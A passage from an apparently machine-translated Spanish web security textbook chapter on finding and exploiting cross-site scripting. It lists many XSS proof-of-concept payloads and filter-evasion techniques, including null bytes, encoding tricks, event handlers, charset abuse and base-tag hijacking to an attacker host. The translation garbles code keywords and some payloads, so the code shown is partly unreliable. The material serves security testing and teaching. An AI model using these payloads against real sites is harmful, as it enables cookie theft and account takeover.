dos vulnerabilidades juntas representaban un riesgo crítico para la seguridad de la aplicación.
En un ejemplo diferente, los datos que se presentaron solo al usuario que los envió podrían
actualizarse a través de un ataque de falsificación de solicitud entre sitios (consulte el Capítulo 13).
También contenía una vulnerabilidad XSS almacenada. Nuevamente, cada error cuando se considera
individualmente podría considerarse de riesgo relativamente bajo; sin embargo, cuando se

explotan juntos, pueden tener un impacto crítico.
MITO COMÚN
“No estamos preocupados por ese error XSS de bajo riesgo. Un usuario podría explotarlo
solo para atacarse a sí mismo”.
Incluso las vulnerabilidades aparentemente de bajo riesgo pueden, en las circunstancias

adecuadas, allanar el camino para un ataque devastador. Adoptar un enfoque de defensa en
profundidad para la seguridad implica eliminar todas las vulnerabilidades conocidas, por
insignificantes que parezcan. Los autores incluso han utilizado XSS para colocar cuadros de
diálogo del explorador de archivos o controles ActiveX en la respuesta de la página, lo que
ayudó a salir de un sistema en modo quiosco vinculado a una aplicación web de destino.
Siempre asuma que un atacante será más imaginativo que usted al idear formas de explotar errores menores.
Encontrar y explotar vulnerabilidades XSS

Un enfoque básico para identificar vulnerabilidades XSS es utilizar una cadena de ataque
de prueba de concepto estándar como la siguiente:
“><script>alerta(documento.cookie)</script>
Esta cadena se envía como cada parámetro de cada página de la aplicación, y las
respuestas se supervisan para detectar la aparición de esta misma cadena. Si se
encuentran casos en los que la cadena de ataque aparece sin modificar dentro de la
respuesta, es casi seguro que la aplicación sea vulnerable a XSS.
Si su intención es simplemente identificar alguna instancia de XSS dentro de la
aplicación lo más rápido posible para lanzar un ataque contra otros usuarios de la
aplicación, este enfoque básico es probablemente el más efectivo, porque puede
automatizarse fácilmente y produce un mínimo de falsos positivos. Sin embargo, si su
objetivo es realizar una prueba exhaustiva de la aplicación para localizar tantas
vulnerabilidades individuales como sea posible, el enfoque básico debe complementarse
con técnicas más sofisticadas. Hay varias formas diferentes en las que pueden existir
vulnerabilidades XSS dentro de una aplicación que no se identificarán a través del
enfoque básico de detección:
n Muchas aplicaciones implementan fi ltros rudimentarios basados en listas negras

en un intento de prevenir ataques XSS. Estos fi ltros generalmente buscan
expresiones como <script> dentro de los parámetros de la solicitud y toman
alguna acción defensiva , como eliminar o codificar la expresión o bloquear la solicitud.
Estos fi ltros a menudo bloquean las cadenas de ataque comúnmente empleadas
en el enfoque básico de detección. Sin embargo, solo porque un ataque común
cadena está siendo filtrada, esto no significa que no exista una vulnerabilidad
explotable. Como verá, hay casos en los que se puede crear un exploit XSS funcional
sin usar etiquetas <script> e incluso sin usar caracteres comúnmente filtrados como
“<> y /.
n Los fi ltros anti-XSS implementados en muchas aplicaciones son defectuosos y pueden
eludirse de varias formas. Por ejemplo, suponga que una aplicación elimina cualquier
etiqueta <script> de la entrada del usuario antes de que se procese. Esto significa que
la cadena de ataque utilizada en el enfoque básico no se devolverá en ninguna de las
respuestas de la aplicación. Sin embargo, puede ser que una o más de las siguientes
cadenas pasen por alto el fi ltro y resulten en un exploit XSS exitoso:
“><script >alerta(documento.cookie)</script >

“><ScRiPt>alerta(documento.cookie)</ScRiPt>
“%3e%3cscript%3ealert(document.cookie)%3c/script%3e
“><scr<script>ipt>alerta(documento.cookie)</scr</script>ipt>
%00“><script>alerta(documento.cookie)</script>
¡INTENTALO!
Tenga en cuenta que, en algunos de estos casos, la cadena de entrada puede desinfectarse,
decodificarse o modificarse de otro modo antes de devolverse en la respuesta del servidor,
pero aun así podría ser suficiente para un exploit XSS. En esta situación, ningún enfoque de
detección basado en el envío de una cadena específica y la verificación de su aparición en la
respuesta del servidor logrará por sí mismo encontrar la vulnerabilidad.
En las explotaciones de vulnerabilidades XSS basadas en DOM, la carga útil del ataque
no se devuelve necesariamente en la respuesta del servidor, sino que se retiene en el DOM
del navegador y se accede desde allí mediante JavaScript del lado del cliente. Nuevamente,
en esta situación, ningún enfoque basado en enviar una cadena específica y verificar su
aparición en la respuesta del servidor tendrá éxito para encontrar la vulnerabilidad.
Búsqueda y explotación de vulnerabilidades XSS reflejadas

El enfoque más confiable para detectar vulnerabilidades XSS reflejadas implica trabajar
sistemáticamente a través de todos los puntos de entrada para la entrada del usuario que se
identificaron durante el mapeo de la aplicación (consulte el Capítulo 4) y seguir estos pasos:
n Envíe una cadena alfabética benigna en cada punto de

entrada. n Identifique todas las ubicaciones donde esta cadena se refleje en la aplicación
respuesta.
n Para cada reflexión, identifique el contexto sintáctico en el que se refleja la

aparecen los datos.
n Envíe datos modificados adaptados al contexto sintáctico de la reflexión, intente

ing para introducir secuencias de comandos arbitrarias en la respuesta.
n Si los datos reflejados están bloqueados o desinfectados, lo que impide que se ejecute
la secuencia de comandos, intente comprender y eludir los fi ltros defensivos de la
aplicación.
Identificación de reflejos de la entrada del usuario
La primera etapa en el proceso de prueba es enviar una cadena benigna a cada punto de entrada e identificar
cada ubicación en la respuesta donde se refleja la cadena.
PASOS DE HACK
1. Elija una cadena arbitraria única que no aparezca en ninguna parte dentro de la
aplicación y que contenga solo caracteres alfabéticos y, por lo tanto, es poco
probable que se vea afectada por los filtros específicos de XSS. Por ejemplo:
myxsstestdmqlwp
Envíe esta cadena como cada parámetro en cada página, apuntando solo a un
parámetro a la vez.
2. Supervisar las respuestas de la aplicación para cualquier aparición de este mismo

cadena. Tome nota de cada parámetro cuyo valor se copia en la respuesta de la
aplicación. Estos no son necesariamente vulnerables, pero cada instancia
identificada es candidata para una mayor investigación, como se describe en la
siguiente sección.
3. Tenga en cuenta que es necesario probar las solicitudes GET y POST. Debe
incluir todos los parámetros tanto en la cadena de consulta de URL como en el
cuerpo del mensaje. Aunque existe una gama más pequeña de mecanismos de
entrega para las vulnerabilidades XSS que solo pueden activarse mediante una
solicitud POST, la explotación aún es posible, como se describió anteriormente.
4. En todos los casos en los que se encontró XSS en una solicitud POST, use la
opción "cambiar método de solicitud" en Burp para determinar si el mismo
ataque podría realizarse como una solicitud GET.
5. Además de los parámetros de solicitud estándar, debe probar cada instancia en

la que la aplicación procesa el contenido de un encabezado de solicitud HTTP.
Una vulnerabilidad XSS común surge en los mensajes de error, donde
elementos como los encabezados Referer y User-Agent se copian en el contenido
del mensaje. Estos encabezados son vehículos válidos para lanzar un ataque
XSS reflejado, porque un atacante puede usar un objeto Flash para inducir a la
víctima a emitir una solicitud que contenga encabezados HTTP arbitrarios.
Prueba de refl exiones para introducir el script
Debe investigar manualmente cada instancia de entrada reflejada que haya

identificado para verificar si es realmente explotable. En cada ubicación donde los
datos se reflejen en la respuesta, debe identificar el contexto sintáctico de esos
datos. Debe encontrar una manera de modificar su entrada de modo que, cuando
se copie en la misma ubicación en la respuesta de la aplicación, resulte en la
ejecución de un script arbitrario. Veamos algunos ejemplos.
Ejemplo 1: un valor de atributo de etiqueta

Supongamos que la página devuelta contiene lo siguiente:
<tipo de entrada=”texto” nombre=”dirección1” valor=”myxsstestdmqlwp”>
Una forma obvia de crear un exploit XSS es terminar las comillas dobles que
encierran el valor del atributo, cerrar la etiqueta <input> y luego emplear algún
medio para introducir JavaScript, como una etiqueta <script> . Por ejemplo:
“><script>alerta(1)</script>
Un método alternativo en esta situación, que puede pasar por alto ciertos filtros de entrada,
es permanecer dentro de la etiqueta <input> pero inyectar un controlador de eventos que
contenga JavaScript. Por ejemplo:
“enfocar=”alerta(1)
Ejemplo 2: una cadena de JavaScript

<script>var a = 'myxsstestdmqlwp'; var b = 123; ... </script>
Aquí, la entrada que controla se inserta directamente en una cadena

entrecomillada dentro de un script existente. Para crear un exploit, puede terminar
las comillas simples alrededor de su cadena, terminar la declaración con un punto
y coma y luego proceder directamente a su JavaScript deseado:
'; alerta(1); var foo='
Tenga en cuenta que debido a que terminó una cadena entre comillas, para
evitar que ocurran errores dentro del intérprete de JavaScript, debe asegurarse
de que el script continúe correctamente con una sintaxis válida después de su
código inyectado. En este ejemplo, se declara la variable foo y se abre una
segunda cadena entre comillas. Será terminado por el código que sigue
inmediatamente a su cadena. Otro método que suele ser efectivo es terminar su
entrada con // para comentar el resto de la línea.
Ejemplo 3: un atributo que contiene una URL

<a href=”myxsstestdmqlwp”>Haga clic aquí...</a>
Aquí, la cadena que controla se inserta en el atributo href de una etiqueta <a> . En este
contexto, y en muchos otros en los que los atributos pueden contener URL, puede usar el
protocolo javascript: para introducir el script directamente dentro del atributo URL:
javascript: alerta (1);
Debido a que su entrada se refleja dentro de un atributo de etiqueta, también puede inyectar
un controlador de eventos, como ya se describió.
Para un ataque que funcione contra todos los navegadores actuales, puede usar un nombre
de imagen no válido junto con un controlador de eventos onclick :
#”onclick=”javascript:alerta(1)
SUGERENCIA Al igual que con otros ataques, asegúrese de codificar en URL cualquier
carácter especial que tenga significado dentro de la solicitud, incluidos & = + ; y espacio
PASOS DE HACK
Haga lo siguiente para cada entrada reflejada identificada en los pasos anteriores:
1. Revise la fuente HTML para identificar la(s) ubicación(es) donde su

la cadena se refleja.
2. Si la cadena aparece más de una vez, cada ocurrencia debe tratarse como una
vulnerabilidad potencial separada e investigarse individualmente.
3. Determine, desde la ubicación dentro del HTML de la cadena controlable por el
usuario, cómo debe modificarla para provocar la ejecución de un script arbitrario.
Por lo general, numerosos métodos diferentes serán vehículos potenciales para un
ataque, como se describe más adelante en este capítulo.
4. Pruebe su exploit enviándolo a la aplicación. Si su cadena creada aún se devuelve sin

modificar, la aplicación es vulnerable. Vuelva a verificar que su sintaxis sea correcta
mediante el uso de una secuencia de comandos de prueba de concepto para mostrar
un cuadro de diálogo de alerta y confirme que esto realmente aparece en su navegador
cuando se procesa la respuesta.
Sondeo de filtros defensivos

Muy a menudo, descubrirá que el servidor modifica sus intentos iniciales de explotación de
alguna manera, por lo que no logran ejecutar el script inyectado.
Si esto sucede, ¡no te rindas! Su próxima tarea es determinar qué procesamiento

del lado del servidor está ocurriendo y está afectando su entrada. Hay tres amplias
posibilidades:
n La aplicación (o un firewall de aplicaciones web que protege la aplicación) ha identificado una
firma de ataque y ha bloqueado su entrada. n La aplicación ha aceptado su entrada pero ha
realizado algún tipo de desinfección o codificación en la cadena de ataque.
n La aplicación ha truncado su cadena de ataque a una longitud máxima fi ja.

Examinaremos cada escenario por separado y discutiremos varias formas en las que el
los obstáculos presentados por el procesamiento de la aplicación pueden ser evitados.
Superando los filtros basados en firmas
En el primer tipo de filtro, la aplicación generalmente responde a su cadena de ataque con una respuesta
completamente diferente a la que respondió a la cadena inofensiva. Por ejemplo, podría responder con
un mensaje de error, posiblemente incluso indicando que se detectó un posible ataque XSS, como se
Figura 12-8: Mensaje de error generado por los filtros anti-XSS de ASP.NET
Si esto ocurre, el siguiente paso es determinar qué caracteres o expresiones dentro de su entrada
están activando el fi ltro. Un enfoque efectivo es eliminar diferentes partes de su cadena y ver si la
entrada aún está bloqueada. Por lo general, este proceso establece con bastante rapidez que una
expresión específica como <script> está causando el bloqueo de la solicitud. Luego debe probar el fi ltro
para establecer si existen derivaciones.
Hay tantas maneras diferentes de introducir código de secuencia de comandos en páginas HTML
que normalmente se pueden pasar por alto los fi ltros basados en firmas. Puedes encontrar una alternativa
medio de introducir secuencias de comandos, o puede usar una sintaxis ligeramente

malformada que toleran los navegadores. Esta sección examina los numerosos métodos
diferentes para ejecutar scripts. Luego describe una amplia gama de técnicas que se
pueden usar para eludir los filtros comunes.
Formas de introducir código de secuencia
de comandos Puede introducir código de secuencia de comandos en una página HTML de cuatro
maneras generales. Examinaremos estos a su vez y daremos algunos ejemplos inusuales de cada uno
que pueden tener éxito en eludir los filtros de entrada basados en firmas.
NOTA La compatibilidad del navegador con diferentes sintaxis de secuencias de

comandos y HTML varía ampliamente. El comportamiento de los navegadores individuales
a menudo cambia con cada nueva versión. Por lo tanto, cualquier guía "definitiva" sobre el
comportamiento de los navegadores individuales puede quedar obsoleta rápidamente. Sin
embargo, desde una perspectiva de seguridad, las aplicaciones deben comportarse de manera
robusta para todas las versiones actuales y recientes de los navegadores populares. Si un
ataque XSS puede lanzarse utilizando solo un navegador específico que solo utiliza un pequeño
porcentaje de usuarios, esto aún constituye una vulnerabilidad que debe corregirse. Todos los
ejemplos dados en este capítulo funcionan en al menos uno de los principales navegadores en el momento de escribir e
Para fines de referencia, este capítulo fue escrito en marzo de 2011, y el
Los ataques describieron todo el trabajo en al menos uno de los siguientes:
n Internet Explorer versión 8.0.7600.16385

nFirefox versión 3.6.15
Etiquetas de guiones
Más allá de usar directamente una etiqueta <script> , hay varias formas en las que puede usar
una sintaxis un tanto enrevesada para envolver el uso de la etiqueta, anulando algunos fi ltros:
<objeto datos=”datos:texto/html,<script>alerta(1)</script>”>
<datos del objeto=”datos:texto/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
<a href=”datos:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
Haga clic aquí</a>
La cadena codificada en Base64 en los ejemplos anteriores es:
<script>alerta(1)</script>
Controladores de eventos
Se pueden usar numerosos controladores de eventos con varias etiquetas para hacer que se ejecute un
script. Los siguientes son algunos ejemplos poco conocidos que ejecutan secuencias de comandos sin
necesidad de interacción por parte del usuario:
<xml onreadystatechange=alerta(1)>
<estilo onreadystatechange=alerta(1)>
<iframe onreadystatechange=alerta(1)>
<objeto onerror=alerta(1)> <tipo de

objeto=imagen src=válido.gif onreadystatechange=alerta(1)></objeto> <img tipo=imagen src=válido.gif
onreadystatechange=alerta(1)> <tipo de entrada =image src=valid.gif onreadystatechange=alerta(1)> <isindex type=image
src=valid.gif onreadystatechange=alerta(1)> <script onreadystatechange=alerta(1)>
<bgsound onpropertychange=alerta(1)> <cuerpo

onbeforeactivate=alerta(1)> <cuerpo onactivate=alerta(1)>
<cuerpo onfocusin=alerta(1)>
HTML5 proporciona una gran cantidad de nuevos vectores utilizando controladores de eventos. Estos
incluyen el uso del atributo de enfoque automático para desencadenar automáticamente eventos que
anteriormente requerían la interacción del usuario:
<entrar enfoque automático onfocus=alerta(1)> <entrar

onblur=alerta(1) enfoque automático><entrar enfoque automático> <body
onscroll=alerta(1)><br><br>...<br><entrar enfoque automático>
Permite manejadores de eventos en etiquetas de cierre:
</a onmovemove=alerta(1)>
Finalmente, HTML5 introduce nuevas etiquetas con controladores de eventos:
<video src=1 onerror=alerta(1)> <audio src=1

onerror=alerta(1)>
Pseudoprotocolos de secuencias de
comandos Los pseudoprotocolos de secuencias de comandos se pueden utilizar en varias ubicaciones para ejecutar
secuencias de comandos en línea dentro de un atributo que espera una URL. Aquí hay unos ejemplos:
<datos del objeto=javascript:alert(1)> <iframe

src=javascript:alert(1)> <embed src=javascript:alert(1)>
Aunque el pseudo-protocolo javascript es el ejemplo más común de esta

técnica, también puede usar el protocolo vbs en los navegadores Internet
Explorer , como se describe más adelante en este capítulo.
Al igual que con los controladores de eventos, HTML5 proporciona algunas formas nuevas de usar secuencias de comandos
pseudo-protocolos en ataques XSS:
<id de formulario=prueba /><button form=test formaction=javascript:alert(1)> <origen del evento

src=javascript:alert(1)>
La nueva etiqueta de fuente de eventos es de particular interés cuando se trata de filtros de entrada.
A diferencia de cualquier etiqueta anterior a HTML5, su nombre incluye un guión, por lo que usar esta etiqueta puede pasar por alto
los fi ltros heredados basados en expresiones regulares que asumen que los nombres de las etiquetas solo pueden contener letras.
Estilos evaluados dinámicamente

Algunos navegadores admiten el uso de JavaScript dentro de los estilos CSS evaluados
dinámicamente. El siguiente ejemplo funciona en IE7 y anteriores, y también en versiones
posteriores cuando se ejecuta en modo de compatibilidad:
<x estilo=x:expresión(alerta(1))>
Las versiones posteriores de IE eliminaron la compatibilidad con la sintaxis anterior, sobre la base
de que su único uso en la práctica fue en ataques XSS. Sin embargo, en versiones posteriores de IE,
se puede usar lo siguiente con el mismo efecto:
<x estilo=comportamiento:url(#predeterminado#tiempo2) onbegin=alerta(1)>
El navegador Firefox solía permitir ataques basados en CSS a través de la propiedad moz-binding ,
pero las restricciones impuestas a esta característica significan que ahora es menos útil en la mayoría
de los escenarios XSS.
Omisión de filtros: HTML Las
secciones anteriores describieron numerosas formas en las que se puede ejecutar el código de script
desde una página HTML. En muchos casos, es posible que descubra que los fi ltros basados en
firmas pueden anularse simplemente cambiando a un método diferente y menos conocido de ejecutar
secuencias de comandos. Si esto falla, debe buscar formas de ofuscar su ataque. Por lo general,
puede hacer esto introduciendo variaciones inesperadas en su sintaxis que el filtro acepta y que el
navegador tolera cuando se devuelve la entrada. Esta sección examina las formas en que se puede
ofuscar la sintaxis HTML para vencer a los fi ltros comunes. La siguiente sección aplica los mismos
principios a la sintaxis de JavaScript y VBScript.
Los fi ltros basados en firmas diseñados para bloquear ataques XSS normalmente emplean
expresiones regulares u otras técnicas para identificar componentes HTML clave, como corchetes de
etiquetas, nombres de etiquetas, nombres de atributos y valores de atributos. Por ejemplo, un fi ltro
puede tratar de bloquear entradas que contengan HTML que utilice etiquetas específicas o nombres
de atributos conocidos para permitir la introducción de secuencias de comandos, o puede intentar
bloquear valores de atributos que comiencen con un pseudoprotocolo de secuencia de comandos.
Muchos de estos fi ltros pueden pasarse por alto colocando caracteres inusuales en puntos clave
dentro del HTML de una manera que uno o más navegadores toleren.
Para ver esta técnica en acción, considere el siguiente exploit simple:
<img onerror=alerta(1) src=a>
Puede modificar esta sintaxis de muchas maneras y aún hacer que su código se ejecute en al
menos un navegador. Examinaremos cada uno de estos a su vez. En la práctica, es posible que deba
combinar varias de estas técnicas en un solo exploit para eludir filtros de entrada más sofisticados.
El nombre de la etiqueta
Comenzando con el nombre de la etiqueta de apertura, los fi ltros más simples e ingenuos pueden pasarse
por alto simplemente variando las mayúsculas y minúsculas de los caracteres utilizados:
<iMg onerror=alerta(1) src=a>
Yendo más allá, puede insertar bytes NULL en cualquier posición:
<[%00]img onerror=alerta(1) src=a>

<i[%00]mg onerror=alerta(1) src=a>
(En estos ejemplos, [%XX] indica el carácter literal con el código ASCII hexadecimal de XX. Al enviar
su ataque a la aplicación, generalmente usaría la forma codificada en URL del carácter. Al revisar la
respuesta de la aplicación, debe debe buscar el carácter decodificado literal que se está reflejando).
SUGERENCIA El truco del byte NULO funciona en Internet Explorer en cualquier parte
de la página HTML. El uso liberal de bytes NULL en ataques XSS a menudo proporciona
una forma rápida de eludir los fi ltros basados en firmas que desconocen el comportamiento de IE.
Históricamente, el uso de bytes NULL ha demostrado su eficacia contra los
cortafuegos de aplicaciones web (WAF) configurados para bloquear solicitudes que
contienen cadenas de ataque conocidas. Debido a que los WAF generalmente se
escriben en código nativo por motivos de rendimiento, un byte NULL termina la cadena
en la que aparece. Esto evita que WAF vea la carga útil maliciosa que viene después de
NULL (consulte el Capítulo 16 para obtener más detalles).
Yendo más allá dentro de los nombres de etiquetas, si modifica ligeramente el ejemplo, puede usar
nombres de etiquetas arbitrarios para introducir controladores de eventos, omitiendo así los fi ltros que
simplemente bloquean etiquetas con nombres específicos:
<x onclick=alert(1) src=a>Haga clic aquí</x>
En algunas situaciones, es posible que pueda introducir nuevas etiquetas con varios nombres, pero no
encontrará ningún medio para usarlas para ejecutar código directamente. En estas situaciones, es posible
que pueda lanzar un ataque utilizando una técnica conocida como "secuestro de etiquetas base". La
etiqueta <base> se usa para especificar una URL que el navegador debe usar para resolver cualquier URL
relativa que aparezca posteriormente dentro de la página. Si puede introducir una nueva etiqueta <base>
y la página realiza cualquier inclusión de <script> después de su punto de refl exión usando URL relativas,
puede especificar una URL base para un servidor que usted controla. Cuando el navegador carga los
scripts especificados en el resto de la página HTML, se cargan desde el servidor que usted especificó,
pero todavía se ejecutan en el contexto de la página que los invocó. Por ejemplo:
<base href=”http://mdattacker.net/badscripts/”>
...
<guión src=”buenguión.js”></guión>
Según las especificaciones, las etiquetas <base> deben aparecer dentro de la sección
<head> de la página HTML. Sin embargo, algunos navegadores, incluido Firefox, aceptan
etiquetas <base> que aparecen en cualquier parte de la página, lo que amplía considerablemente
el alcance de este ataque.
Espacio después del nombre de la etiqueta

Varios caracteres pueden reemplazar el espacio entre el nombre de la etiqueta y el primer nombre
del atributo:
<img/onerror=alerta(1) src=a>
<img[%09]onerror=alerta(1) src=a>
<img[%0d]onerror=alerta(1) src=a>
<img[%0a ]onerror=alert(1) src=a>
<img/”onerror=alert(1) src=a> <img/'onerror=alert(1)
src=a> <img/anyjunk/onerror=alert(1) origen=a>
Tenga en cuenta que incluso cuando un ataque no requiere ningún atributo de etiqueta, siempre
debe intentar agregar algún contenido superfluo después del nombre de la etiqueta, porque esto
pasa por alto algunos filtros simples:
<script/anyjunk>alerta(1)</script>
Nombres de atributos
Dentro del nombre del atributo, puede usar el mismo truco de byte NULL descrito anteriormente.
Esto pasa por alto muchos filtros simples que intentan bloquear los controladores de eventos
bloqueando los nombres de atributos que comienzan con on:
<img o[%00]nerror=alerta(1) src=a>
Delimitadores de atributos
En el ejemplo original, los valores de los atributos no estaban delimitados, lo que requería algunos
espacios en blanco después del valor del atributo para indicar que ha finalizado antes de que se
pueda introducir otro atributo. Los atributos se pueden delimitar opcionalmente con comillas simples
o dobles o, en IE, con acentos graves:
<img onerror=”alert(1)”src=a> <img

onerror='alert(1)'src=a> <img
onerror=àlert(1)`src=a>
Cambiar los atributos del ejemplo anterior proporciona otra forma de omitir
algunos filtros que verifican los nombres de atributos que comienzan con on. Si el fi
ltro no sabe que los acentos graves funcionan como delimitadores de atributos, trata
el siguiente ejemplo como si contuviera un solo atributo, cuyo nombre no es el de
un controlador de eventos:
<img src=àònerror=alerta(1)>
Al combinar atributos delimitados por comillas con caracteres inesperados después

del nombre de la etiqueta, se pueden diseñar ataques que no utilicen ningún espacio en
blanco, omitiendo así algunos filtros simples:
<img/onerror=”alerta(1)”src=a>
¡INTENTALO!
http://mdsec.net/search/69/ http://mdsec.net/
search/72/ http://mdsec.net/search/75/
Valores de atributo
Dentro de los propios valores de los atributos, puede usar el truco del byte NULL y también puede
codificar caracteres HTML dentro del valor:
<img onerror=a[%00]lert(1) src=a>

<img onerror=alert(1) src=a>
Debido a que el navegador HTML decodifica el valor del atributo antes de procesarlo más,
puede usar la codificación HTML para ofuscar su uso del código de secuencia de comandos,
evadiendo así muchos fi ltros. Por ejemplo, el siguiente ataque pasa por alto muchos filtros que
buscan bloquear el uso del controlador de pseudo-protocolo de JavaScript:
<iframe src=javasc&#x72ipt:alerta(1) >
Cuando se utiliza la codificación HTML, vale la pena señalar que los navegadores toleran
varias desviaciones de las especificaciones, de manera que incluso los filtros que son conscientes
de los problemas de codificación HTML pueden pasar por alto. Puede usar el formato decimal y
hexadecimal, agregar ceros iniciales superfluos y omitir el punto y coma final.
Los siguientes ejemplos funcionan en al menos un navegador:

<img onerror=a&#108ert(1) src=a>
<img onerror=a&#0108ert(1) src=a>
Corchetes de
etiquetas En algunas situaciones, al explotar el comportamiento peculiar de la aplicación o del

navegador, es posible usar corchetes de etiquetas no válidos y hacer que el navegador procese la
etiqueta de la forma en que lo requiere el ataque.
Algunas aplicaciones realizan una decodificación URL superflua de la entrada después de que
se hayan aplicado sus filtros de entrada, por lo que aparece la siguiente entrada en una solicitud:
%253cimg%20onerror=alerta(1)%20src=a%253e
el servidor de aplicaciones lo decodifica como URL y lo pasa a la aplicación como:
%3cimg onerror=alerta(1) src=a%3e
que no contiene corchetes de etiquetas y, por lo tanto, no está bloqueado por el filtro de entrada. Sin
embargo, la aplicación luego realiza una segunda decodificación de URL, por lo que la entrada se convierte
en:
<img onerror=alerta(1) src=a>
que se repite al usuario, lo que hace que se ejecute el ataque.

Como se describe en el Capítulo 2, algo similar puede suceder cuando un marco de aplicación "traduce"
caracteres Unicode inusuales a sus equivalentes ASCII más cercanos en función de la similitud de sus
glifos o fonética. Por ejemplo, la siguiente entrada utiliza comillas de doble ángulo Unicode (%u00AB y
%u00BB) en lugar de corchetes de etiquetas:
«img onerror=alerta(1) src=a»
Los filtros de entrada de la aplicación pueden permitir esta entrada porque no contiene ningún HTML
problemático. Sin embargo, si el marco de la aplicación traduce las comillas en caracteres de etiqueta en
el punto donde se inserta la entrada en una respuesta, el ataque tiene éxito. Numerosas aplicaciones se
han encontrado vulnerables a este tipo de ataque, que los desarrolladores pueden pasar por alto.
Algunos filtros de entrada identifican etiquetas HTML simplemente haciendo coincidir los corchetes
angulares de apertura y cierre, extrayendo el contenido y comparándolo con una lista negra de nombres
de etiquetas. En esta situación, es posible que pueda omitir el fi ltro utilizando corchetes superfluos, que
el navegador tolera:
<<script>alerta(1);//</script>
En algunos casos, el comportamiento inesperado en los analizadores HTML de los navegadores

puede aprovecharse para lanzar un ataque que pasa por alto los filtros de entrada de una aplicación. Por
ejemplo, el siguiente código HTML, que utiliza la sintaxis ECMAScript para XML (E4X), no contiene una
etiqueta de secuencia de comandos de apertura válida pero, sin embargo, ejecuta la secuencia de
comandos adjunta en las versiones actuales de Firefox:
<secuencia de comandos<{alerta(1)}/></secuencia de comandos>

SUGERENCIA En varias de las omisiones de filtro descritas, el ataque da como

resultado HTML mal formado pero que, sin embargo, es tolerado por el navegador del
cliente. Debido a que numerosos sitios web bastante legítimos contienen HTML que
no cumple estrictamente con los estándares, los navegadores aceptan HTML que se desvía en todo tipo de formas.
Corrigen efectivamente los errores entre bastidores antes de que se represente la página.
A menudo, cuando intenta ajustar un ataque en una situación inusual, puede ser
útil ver el HTML virtual que el navegador construye a partir de la respuesta real del
servidor. En Firefox, puede usar la herramienta WebDeveloper, que contiene una
función Ver fuente generada que realiza precisamente esta tarea.
Juegos de caracteres
En algunas situaciones, puede emplear un medio poderoso para eludir muchos tipos de filtros
haciendo que la aplicación acepte una codificación no estándar de la carga útil de su ataque.
Los siguientes ejemplos muestran algunas representaciones de la cadena
<script>alert(document.cookie)</script> en juegos de caracteres alternativos:
UTF-7
+ADw-script+AD4-alerta(document.cookie)+ADw-/script+AD4-
US-ASCII
BC 73 63 72 69 70 74 BE 61 6C 65 72 74 28 64 6F; ¼script¾alert(do 63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65
29 BC 2F ; cument.cookie)¼/
73 63 72 69 70 74 SER ; guion¾
UTF-16
FF FE 3C 00 73 00 63 00 72 00 69 00 70 00 74 00 ; ÿþ<.script
3E 00 61 00 6C 00 65 00 72 00 74 00 28 00 64 00 ; >.alerta(.d.
6F 00 63 00 75 00 6D 00 65 00 6E 00 74 00 2E 00 ; documento..
63 00 6F 00 6F 00 6B 00 69 00 65 00 29 00 3C 00 ; galleta).<.
2F 00 73 00 63 00 72 00 69 00 70 00 74 00 3E 00 ; /.script>.
Estas cadenas codificadas pasarán por alto muchos filtros anti-XSS comunes. El desafío de
lanzar un ataque exitoso es hacer que el navegador interprete la respuesta usando el juego de
caracteres requerido. Si controla el encabezado de tipo de contenido HTTP o su metaetiqueta
HTML correspondiente, es posible que pueda usar un juego de caracteres no estándar para
omitir los filtros de la aplicación y hacer que el navegador interprete su carga útil de la manera
que usted requiere. En algunas aplicaciones, se envía un parámetro de conjunto de caracteres
en ciertas solicitudes, lo que le permite establecer directamente el conjunto de caracteres
utilizado en la respuesta de la aplicación.
Si la aplicación utiliza de forma predeterminada un conjunto de caracteres multibyte, como
Shift-JIS, esto puede permitirle omitir ciertos filtros de entrada al enviar caracteres que tienen
un significado especial en el conjunto de caracteres que se está utilizando. Por ejemplo,
supongamos que se devuelven dos entradas de usuario en la respuesta de la aplicación:
<img src=”imagen.gif” alt=”[entrada1]” /> ... [entrada2]

Para input1, la aplicación bloquea la entrada que contiene comillas para evitar que un atacante
finalice el atributo citado. Para input2, la aplicación bloquea la entrada que contiene corchetes
angulares para evitar que un atacante use cualquier etiqueta HTML. Esto parece ser sólido, pero un
atacante puede entregar un exploit utilizando las siguientes dos entradas:
entrada1: [%f0]
entrada2: “onload=alerta(1);
En el conjunto de caracteres Shift-JIS , se utilizan varios valores de bytes sin procesar,

incluido 0xf0, para señalar un carácter de 2 bytes que se compone de ese byte y el siguiente byte.
Por lo tanto, cuando el navegador procesa input1, las comillas que siguen al byte 0xf0
se interpretan como parte de un carácter de 2 bytes y, por lo tanto, no delimitan el valor
del atributo. El analizador HTML continúa hasta que llega a las comillas proporcionadas
en input2, lo que finaliza el atributo, lo que permite que el controlador de eventos
proporcionado por el atacante se interprete como un atributo de etiqueta adicional:
<img src=”imagen.gif” alt=”? /> ... “onload=alerta(1);
Cuando se identificaron vulnerabilidades de este tipo en el conjunto de caracteres multibyte

ampliamente utilizado UTF-8, los proveedores de navegadores respondieron con una corrección que
impidió que el ataque tuviera éxito. Sin embargo, actualmente el mismo ataque todavía funciona en
algunos navegadores contra varios otros conjuntos de caracteres multibyte menos utilizados, incluidos
Shift-JIS, EUC-JP y BIG5.
Omisión de filtros: código de
secuencia de comandos En algunas situaciones, encontrará una manera de manipular la entrada

reflejada para introducir un contexto de secuencia de comandos en la respuesta de la aplicación. Sin
embargo, varios otros obstáculos pueden impedirle ejecutar el código que necesita para lanzar un ataque real.
El tipo de filtros que puede encontrar aquí generalmente buscan bloquear el uso de ciertas palabras
clave de JavaScript y otras expresiones. También pueden bloquear caracteres útiles como comillas,
corchetes y puntos.
Al igual que con la ofuscación de los ataques mediante HTML, puede utilizar numerosas técnicas
para modificar el código de secuencia de comandos deseado para eludir los filtros de entrada comunes.
Uso de escape de JavaScript
JavaScript permite varios tipos de escape de caracteres, que puede usar para evitar incluir expresiones
requeridas en su forma literal.
Los escapes de Unicode se pueden usar para representar caracteres dentro de palabras clave de
JavaScript, lo que le permite omitir muchos tipos de filtros:
<script>a\u006cert(1);</script>
Si puede utilizar el comando eval , posiblemente usando la técnica

anterior para escapar algunos de sus caracteres, puede ejecutar otros
comandos pasándolos al comando eval en forma de cadena. Esto te permite
use varias técnicas de manipulación de cadenas para ocultar el comando que está
ejecutando.
